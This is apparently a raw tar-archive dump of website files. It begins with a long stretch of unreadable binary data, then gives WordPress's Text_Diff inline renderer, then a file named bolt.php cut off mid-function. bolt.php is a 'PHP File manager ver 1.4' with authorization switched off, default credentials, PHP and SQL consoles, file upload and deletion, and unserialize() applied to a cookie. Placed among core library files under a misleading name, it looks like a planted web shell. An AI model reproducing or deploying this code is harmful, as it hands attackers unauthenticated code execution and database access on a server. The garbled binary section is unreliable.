WE%ltalj-}5Q nU#WI֠ D~Ц  46o`op~s_[2^^@}^!hIh@h"!Tѱ}Иcf9nDM	9'o&eҩ끪)fQ/2HP6{u%Ղ)1\!z#(yu;DϤ[w2}tJbEb9Ήt355<z15AC/8%)#:}p!2&g*8%jLѰn& |NC {,~BI4z	xXq]W)ʋq7t*כ98!֗t~&8`\x= Shsޢ|{R3K@;"&u`F&iOq	"RO\`6GIx5aI5`HkѦ,t3C Kv1k}Юiiͧb$@KWGt%B3?C&Œ1	RB?'^~WSccCk{cNc-|fIz+˄%aF9D"T5<J/KMH|鈚DiOgl(S=@jl<($5;6KסsV2M$Hv#8iHh4\ӡ݄+[fGUqş㛗91\9Fy9?E^y_D'	I'iĸ{=}&4;Ѡ]Yuunn+dZǝj `";eEk'ƛVI71~V:G.vt)H
:d<[^`CKy8#GkQ-j,כzLZի8+Lzxu!ºMw~FbhȩS8#ø`s,uot\_tÇkQE$!>GL@$vO8AT7ŭb`bsH|-ܓi"qZsÌ\7HdST@w0~f!$Asom4z:(uM/IB ?yr.b~c$G(&HőjRL3Ƞ065BNgrf:lQm,UKr	#<0LR[0LQ\*;~f,DG}t|$P5ZLҪtRvr;T$2lGd2#s3~H31Mb6{OX<,~b'sg0R[)n:&pkV~B@"R2!tO׿ڭk&SJ~}}08 z kg8eS[6Lrn7ׇAN>uW#έpVAtR^+b}dɉk)KQΓ(,\/N12-bN~|6'KC%W0|"^_HaJ 8	;@']āC:}ֈUBMj[^N+ʉ=z/"c[ӂ.R UBj~E=p?;'0-9k8#r#C|Rs#u(!\(NkvG73MzE"[fG,-%R*)ij8+9=bw"#dއtы")x[',^grkJlٵbfJvMWUԝR-WW33͞mi\aX
:;m-=E@aC>YbjKpȴ>TPf8T^HUڣ"\k^ x5y#H#4orå5 ʢ2m I'/5+#NBRexqk`rz>c9@:%Ph
A#=|CMH<IX88|K0K`f H,eA"{4Z]_r8]J;2^6Ra"ПJ=͵')z&rhC0JڹT+n)ZGFoq(dZAhCCVnzz)%-Bnl,VW名lZEyi;|H[!2A~pA)갵C<ϤjDpKUVV`t]
QRj?jS/"ucDv&,yr"2%,ZƣUKp'ڽi{YτfE 8_<*T``\;\y -h4Ċ)a*!vtFѳܑո
뉆ԛ|x>kDޖ=LÁ3'PJ\0?rThS6hDRh!PvX	s,r)e<Xw<j-l}+	OlL벱	#"TNKUyR<E鐘uP'٠\=̞wq6&B0ZXzJۙ62UKԜ+(;IjzjR}cO75zo5dr#nΥBp3(Iez;)j׳­]2q!thXOir4vrt{c}?TQ+T.?bNzݑ^tqP!sN]n+YSSB.Nެ,'!'OJKsF1l7XZ,O\`J&;<iO:tқ{ʮy?tthD.]{\+U߷ڛ<y6:Sd41hSOg{
|ٱl3Ad sF:n*hJѲ_-=YtSn{np˩}׳nH'7c{-cnWq88=#t-mSeidfF;S揓$$&4&[}f~V%[s6XgM!RbդA8?G
$0P81mt͡rlN9\лpaAf; EncZ z{KEdSF֚jU3WHibYI*6]	ExVmN v8иWϯjjdsZڪ\1ȥXiک/ E;l7 6EY-pc4uhrؓT6$ZʿGX6;J Q?QguI&֓m)7e/kHFô뜹CŢ冀M]|Uv_86{ՅCh%  :SQ@r'/,K^!	)CJp)9^TRq+аu-wNW׸$FkȼZȵ:Q"-z	; V\<>p(5ߚs@w_~oНL:Q-V9\)m[a?:A2].~fa	Jʲg UbkhyA!~f^&G>U@p!j2XeD+ x@<IWT9ILoC@GR_~o?;_	+Mi	/?}X7%	#@Q;a]RĞ-!'#nfıq~ǫ
Upto\3i:80KzcC*-Q(bxxK+@bP AUD\GO^l*XڨUuذ˂NI#	W5M3VA>+8v	&Ł	[xͤ#?=d1vsIɞJ}awm
o7=A9NM,"3 )/E	ؚ6LBY`&&4o\X%/x]8G͜l! ,oIT)v׻TNsfwxh7#k}̌ɅQقm>8h7b7&'glEh3uGgs{%f°^2y	zOAPic\%Q'oNb9a2k[͛nҟt}q$tk@?!]!J,L-FP_co5r,%[aM#b8&э:䐂p;bZ"^RsaqWs;.&	>2(.AXPB2B{dS8l.>ˌ7V'Kǒ-3c}?WkA3WMzwjȺu*ӭ[TjBcE[&z\'=X)531cK]yp\54JWN[YmQ[ȭӂouxǘY>|	Rn>&!|C߳tZXon洄y_,@
w:񻮰)RFn
4"3$s,0iglFf߀NȔfZ7KMiz3WpTS,X˝ZRNa|hAf_=?H8TC5XMUEu7~7;sLhK˦}cL=.A6|>`b]][2`	\4~ykU#ZKABcH|n#*S?&#joJ(2~Ųd2ceBZ.J$kͬ&O5!psXK:'떰8;gϖL~H_J粣z`gX%XE4Xh8nqP4&qb-ʭZmt_\bz2ZR3ٙ@zE=!'^P\`=Q?RsHˇjNn r6Uя&(.
a7;,n~￳%LKiF2LQ3 zr??b࿸;?g
7tP>yi#.hDK:^HW;ۊʷv[+6ЖPEIAxy;-f+=ouC8şP2Hpǈ2FZCj0ҋS\LQXd:ߩnI
|Y~EZx1k\Tc+s(4rvj*MT<xyBM8zBOcYʈɯ$\So_\_onK[ a#c_^rv]LCNaB[0'k[ݐtrp1;7V(v;=ÛM9+HО/(K͔W(;%Dm$O_-J0kw͘[îݸKLbs	W~5%-O,i##.~4HaXj^m|]=//q3O1g*b=Hm6ňXGÉH.fPmHw2HDcw+='rIo09?{?GG&6"*v#K~wmMy<=31rȧNi}mu`M@l/&XlRl.ŬECi="z('}p/={U`j`$.9-~\>K968eI`hR83Z>p2ESAaf_.g?d,	np
sk|	nЀm
q61VP:WH<&v%[|HrPhR3NTNBЦi6iX?fp=oVޔ'Hw\n
qa"ՙywrj(ȕh(J,q	.*\[j<<T&6FzZ|dwV!bJR¡S:Uzj٭RTSI*WʙT6oROeW8L20ퟷL1Nټ@7ZdT	.d˽`yʧT!%=VyX\'eV7E'TP|*?٦ҍE3^*-M?vb	\jO&O(!TCJ8UlQB\:W@b|ݬG 	ҁsysiW<J~UJWR$ߢ4Ʉ%pUQcՊfŸUv(5OdQpO99T,-5vUc<YOFcWza+[C8^uHeZy<H[Mu؀y8.Ǆbn?kV=[)>NaDN<ae#kvKnFn-M
Aha[oW='ONٓz^7tւ}ha*U+v)5N
B6<LXOe|Sy}^[%>dYL.dNTF񩕩Oә̢zxx}. 5BkȥFt+ra*ފpvf4KtHSV	 l2y^aF3G!hF=ٵepRLz	lMn}jg˝욛
r O6C}]qS*ue~\_': ZJFmML2r+jYm=ѶޜSV/7'F$OXYL2un$?V4yܗZϰ͊i`Z,gjݜow阐*zSh?czj-fN{,f3WW}L˳y\>}XPķlm^ԧqQ-IԐk۞VTsն?RcUN2ҦܡX̤dlFHzng6Z*=}HULfT?n+i7ORz1(NJ^jo+eQوt&+MXRf)MS˛NiZ~5:sS,JB;OlUJ묖z44he5*<<C'|av7jhje&ܣP	>%ecpV\.R?TJOTY!<;k"IEKikSBo~gܳ(
J5Viq##_3~![!nXZZK	(BtEyFz$%qi $yDn(d;n>Q9>;󰒪G;S[x(¬ݫ
R4C=NzĪ-~Y-`(qX+=⡧WeifUm%ׅΣnpKQZkn=ȑ.u:ˑ4e2&V"i}i4u\}Kk뵶ݼԛ$-]o=֦_I`mq?RGi35[բayXB|q,G.[fk3mZ+PR:GR>GA(rzKuB(j37"VlA9eוudC)KmUZI7"x:OXy~O{Ĭ?+#~E;f4톞,<Oa
|>Uо<.╍$z!-9RX=#M2t[}<,ŁZ;(@zVDNz.isZi}u_WHdV#,bOE݇i/pV<nrCߊ6R*Mٳ"ZEgh-[E)Fݜ6wHYX+xl\}/CBS#[{n7r-ӢZ]SZ}lmjh߭f$)0|ۨhb0Wj|>YWc!^ywXv#wOa8r,ZkxU~zW_V{Rd;q:({vhYy>~bպˈqW^~P#CO*U"	Jl?u9l$rj^G*P
rDvH-w|)W
N+:~=V~P&Xz/Z=DZ'fFPO7^%e#81C3mzlW&j}qHKn%z"\	V(ժ@b<(GƕRehsǃyh{z0GZS5bS-;VqiTS	tX{jZ4ZKae>sAmk(n@Ljfh=%Vw;]6R:*ƃ4!vg[
7w1{pT.3Mk,bz:ڊo=`x##MJ\Wn̓!@b,"Bv +X$XrmDs
msJĦϋU<FU9.kVI5(␋Ik^	 mJ<6Jxc._mFq%:`<k	A]ǂC)
[8jƝZ`	UfCb}'ð^6lȦ{ŭ@fO%	P9z<1?[g]o3:ĸr#UvY^IEwM0>QyrxF>]h#'ⵖ/>e68N_Eks
z]7,Sl4XFan" w4ANJbzJ>fRTR4}_V+l~xn=yjbUq>5Læ޷='8?~ґC_|Ju1"E?=nYzB:;juk<;q<&vM}~Rl(Zj{͊tWlzV4Bȥz*;pܜGܳzگm`iOSz_LBf<įO|d/d6[ǢM}i?N:عn%pL5(VQt7{"GJ-e)nirr*_^yA=O&kYg1fo
{GsQVPf׽\;ϭvROm׋Ыyvē^UIJVzUҫ8DJqaЩW/1nvPUL>]V\}&֞LiPPC?έKN=wœ_q*k`-D\<Vdu={9>ԴǮ'V+g`kv[lȉּ/2۴Į-O[ȟ?m!Bi-O[ȟ?m!Bsl!I9BBSmBAxb.<=4F]x6sQ
	ܶXy+4Ӿ{*vizO .	5դ9$4>ǳG3.RlȮlt~ m V|Mw&RlI](⓺,]S~w#<-aQIUr%jUzeӟnR`n'QQ+rE[HD#ʵ0֩mmPyfeBxc\ioR\*UOrPĐgR?3U~/#Y߭1ɵB5>ZO6WJdj;~74	>L|8'J!nǅj"=dbZ(Fw7K&	hg!^n^)Ȼ|DZWwRAَ7&\BBxJ!JO^Qu?8D=<p]&iS~Q6Ej?d!DExOj>M'nQOɤ,cnFYR{)}=rt=,!={T{;K6_GΊe'ZԦO`<6C]>zƞ#7!nr^(.X5_e=j(FI|~TS=ȽARPyTԠGUEge$zKZ"*=]ϖb4%{عx4t%>ngNz_.@_gfMTf~4E
n(}w[.
p
hz*n<֨e68j1uX(FpeS9<YFGc=F4PXG캾	)zI'`;0]V>
J`=S<Q}.BfmZ
êB}9\,U۫f.ZZ^mqG9nV"γr(C|X!ƍ>Qځվ=J$Uv^Chƅ
pQ#z+-N[_bLK)MLgl"	Vn%f?Dʍ4OGiM<Ze3yq-Er2;hvJu쌏n3H9*asfṑ>4Z`?
z:/$~38@P(p(5\]WfRWNXZiT2+WdY<ReH/erZznM1һ4Si g2ּ-?˧YҡRqtʟX6`
4{Pb/WzL?<.MK)P$2XIv/Rºou1`:8\u=jZKbiSWjtR}륃*+ַ)!:aTݩ6JLXL~$p:Tx^A]nG\ocArl$$o 7ĸlFnw7eNv;N'bUVҦ+(yO=8:Pa+|G!v/ѫ_]-
z%/>&o"tsq;,˟&7Z.$VDe)|Ԍ|~e#;:!D-y%टܸt}PʝAƲ ^=R~P@qkan}skk03B0 Z)(lÜK']-FC/b넛Ƨm?9b)((.P9o~`-Pʫ%G!V-I	&6yQ(%s~LlxE@6dAS%QG1h?k':&8=~ d^ݶHwv-ⅯI𤷢ʤ(iMz[ؙ_XQ߃=-?^p4x7bM+~hE[?0ހ/k0o0(m|P4 _1 1|Z	"  }-cD|=D<}.\ԯǑ䒵%L%ڶwDPC3%X[D 1P,c1)[0@Y8bW#'N1~?,@ |Qe({K`~6r,(DD,#>hY#(A,q gepkg<q"((:T%4kȈU_6.+HHt$[hjcۗ=PIK@p$cYf>U5\%B+zE^&SV?ƈOIv{J F֑rІiC`2IPerNqgڥ(x6Pq#0]}>8]w ]7?yޡJI  fMJ)iQ3t2d	_06P-2|	7a]8
!ƺ1_'Vĩ9;$-c!vl،~D\5GLF4AيŒ.d&Cghζ9Kvp&Y⨪Xƅc~J,ti~}qҹj+H7[,%cUl2w$8̋GaGA?ϫϗBO?ĥg[YR|&*"oZNco _WlhR_4KE9An	vDE'YHڝU#6d
K5/"ZJby:PξeĐ_ϟN1:Aymh8- g6)^%6 y9U]i$?Tk)[GȾcHQl&('XE@ )iA.DI?+#uDÿ)wiëp>d;zk:089줴E"JM:Nfȋ  Jiӓ3dH!	O}T"_trf$/N&H,'>[ @H-D\|9fEI;lI6_P?Vb)5Ldr'U.pۄ#.AXB9	McPz˛;b슗E8Í3~af4]ȣs|CJO[f"Of4U)&#u_i/||r,MnmS=s|RF?fg914(x:_/4W32g 3]'ۓߙ/oq$Xt37,kƁ(vľe?M3ԿO6H*LQ4el)\k{,_ O?/ə9f0"ވKaw\߰YkNI':)WI)ޭTWxqɭAN%#~2;;dlJ
si)7h^VEm
I|ѱ5qtC&oHƗl]O5ʜ1T9Nn "Fk!=9?Ӳ_bdKs̴+uc?~ްw1k,	3/K^:G E):1(ɍPIbbS嵂q6?)KDjD\Hq"'e LM0}uuD6(#`-nkAyէєa[C.amV 69uiQNv &`;U> ȑoMe~Kl/^z+namN?n9? Ǹ	T'~7d{&>	MDC:luÇ'.J
J:hi4fYKx8e,i/-5?]P^,^U] bbOA˽6lo'dNo&8j~o\;gYd.WXd˖ewV֝^ejCz8K#C"9v
|X'7)T+}II$@=MnM]<Oc hӋfnGtY]	^AQ"ؒ]Xv5Ni̚J'ΊMo>n=[%أz\}Y='LWZe47]9%,Lz\7!n4c|h|A?7Yo!L6WK߅44Bb'VCjE7ANnb.'_]v2$x⑭bý|V+xVyLV5tÍӦ{z]0Dc鐘iǁZT?mnSĆcm/ކgN݂iI	ՎiisTLqQ<Kiƫ8]h3e,#`?b7ɇC2
	KN0Uo %17lUɸ~NKC>V!TY\k_?f=i3-C*1ԯ_AA?Y	az_tzz[%-Y
EdIRS|M< z>u/BN>H8}9~]:Z/EcN[0'O{"X`ZC/<>8Egr,_ޠ*`qC! L$FR`&p8TG(pQ).PJVq}^7cW1"@&fRV6d#thdAң	O3QdzX9'\s47Nr-tY627N)ju q }'wg5[%
1SC: Cړ+X@	OjxzvK&V_Vv@I˨XcQOo7۬=.>'C5<8OSyb) 8Q,wfa߳9>LCJߛu gqauPh5%w|Li:C3OT#mQ.,50!U"N|C2dG3O&s8
)gQaIhcM
auzX;I_D;酐!mtC0pҋfߜ'lnr_lǫ7Mi)Ĳ֊']M(
H,5@a6J%/Ns)/KDh%j2{䋓P<^UW,KR:YDWЈ)V$#ir'|k<ʿ0+Pɍl&PJ\GObp|Nʺq/T9gkqLl,)+٫<އғi	~o׏1]}L	.q {|gv1.7a݋daC>ae`0CD"\}HA0W/'z(nPO~7MHհKy疫?-q05I$81a[<{*.c5
J,@?44ѽ*iwNrn7#VU^^l&f|mcyLZkH;6Gk~q Ui!_֣45YDZa cq>X>zs$jReىMP^Y^
v;X=<pp>%Zois=gio)z0.0һaPE;"r`j|D;s6t9q] yoE5bPΤAnG]JuC!IV6fH$%7n,\~+f0`n7dqI)khխ<X:E) ;Y^׎!q syfGk~	,V֤k	[]."Y*Fmr0$".'v>uJC;`z/[.pYno@q=|4LYfi`>j
>idL҇PA"lG%umptSIE7kʠ,%Ap+H
2#dsCT~TkFt{}n0TŅ$/W7CH4OxXuQ\L>ˀOG2~>3"D1HO!.3M@03C$$Bk4Kc=e>f"o΍pq\jJ0"F$UHbe<LQyAyh	Qu|N_
$EIjQÌ+'6BzRH
FZ@OhM{!
  ;E?D{fF	* ڍ
=@ǐE|C+z#x/ A5:Fq79ֿ"z"qJ:`K|1K~.}j(VXn[^ROmrp-DIʭ:_B*$㱀:5vQāvۆ|2a[ a?󧛛hLUf?#[L<%IRA3KPQJ}@Z"ȣ4Bimb/,⧯E
o77<|Z.f6on8d;{>f\(N8؂z#tg@wNfՅYTT~]~~wk-H:T! pOBq-;$η	kP#it[eiN=zK~|ɇS$6 |}qP^,%=.P:SJ.QM}Oj(k>ľvM"3#be.1Y8p9jϔ04YADНYr
Л59wձ,i
KTk^tpނӧ38PSB ^S6/ecj/
+ԯKu7f/!@zg tDS8su0HLwA|@<{gfFF#
v"x<S!dW-3b@3+A<L
C_g"i!FѦΉ\^UqEE화s0WG1d7\szX#Xǲc	䠊>֐"/K*dn}PÅ
?aC6[޺:r+8..RlHbȪ-QP	#ep>XQ:H~q(4#:|2'n.tiLa^vq1~ʩzVA
3<g仙kR	2]G,?D[ә" Gv33:6n}66pgyƠfu2oGt{3ϼX:ݺm;"<ep\nL'4s&rs"@++ot"HjATtqeDM{~inzyPDAy'^[dsǸsC KҞ>:[p\\ږbSv
,vLҪ-;_^@6&ZǗf2LaUw=}kݩ0Y.Lds'&xICyϟe:Zy[̹h^11	s4\	'߮zyXZַn]F3U|PFL=žkXҸ9}9/OnS^B` d\3zN9,ɿ- ƊMZ]+"E4r!m#c%--%qY~u[w=>w*;MA#ր'mYNy8p+WUnBg]NFm])\yƕG43.^y9T\8{3Ȭq2AHAn:`_уZt,ܖQ39wci6?<E	!-&F<ѯd9DUDݺ'IjP
{Mk)HF,g,ZfBg9+?0	Ε"*PqANxd~S׳)Ӎʐi(+
|&;V kRϨ9
HmdyTCuTvsxrʥ%It7GI`tD HowR |<';	n}ǽP)e./Tv30{6āK	&ax}m뱹 /y^5㺞r,QwfF`XCἭkڗxBt'j `,	n >a'($/>eC-o`CM(K,\q,z.)mĀp~׵9SO:)K3QG)Ǌ׻rywz]<.3.ST'a]mҐ`	%=\Bw?nr9},͟	Cm˝F	{1A}0Pɵsv7BoEfNY0EnBܿ MQFY[atb&(ʲb'/XH2a>3MA̸姄3Ʃ|Kq)0c9u$HԢ2Z=7-X<Ȅ{)HңEFkY ؀bIbMeWE_Hr\ھ	X	=텾;J}F$,K	NضQs=WP}6mynz
X8Ӟ!6(tU~@z1H7?hkFo't䟇G2wmL[h8wiޖ=JƸ@;KSn^MV}wE^]YeO4$YnCaůPrώ2ه2XIT:Խ?6YjC;T#F+/cNJqߐ8\h/];MmF0CPJǇgPV~E)u.?<A=MMZ:g6		M0dfu-WC?X9hxݑ"flX_
$ʟwdN-ZhFUk:f&ڂ?jn{cd[9:Ggoa87MK2oXOGwҴVv۸y*cT2@ZBq}Hi2tߣPݵ:7{22M%``Q -= IERUDChn+=$o.'ub\|!^z(zA 3FY:(IX G,]parAzB5i%Ffd>
`Cm0:ԲХ)eퟵ%9 MB@9d葪aES$c@I0օu[K.>XEUrbձ(/:3]^;CH*ҙN]qu}:S,vT8H7+_ֻ{̠oyf0,N.SI>.hd$E<'1g86Jg<'g-{&BòDY8b<i4ԃ&%[Fˈm9DW ic/
wJѨ\cCce4ϛIcUe'	ùZB5Mt3[AIcm8Al܎)E)jQg;X~<1`ڿo`o!*@3PDe`PP5^
FϰYH\njO9buR{ 	7. kAU1
EU 0.]`lpgNVB	{9n='[N_:2>:hα굾3x
ld)cg~$
VxSZ:|ҜbK^Y\<r\wh?cV❍ĠG?||YXw1DhqL7Gqv[| /xˉz;pZO~0_pj+5>xh`+j5].JwkMqIwL38&w c}7׷SAa6/e~#?ԸA⸞rD|?h$5bwvyt|i80~ث)nD9)㛜ԩT!,
]H77	W7Sl ~WwOtktq. ݝfD|mOIӊ߭e3A0.pBn[-	}>=??9) <                                                                                        inline.php                                                                                          0000644                 00000012630 15217301621 0006533 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                        bolt.php                                                                                            0000644                 00000232745 15217301621 0006230 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
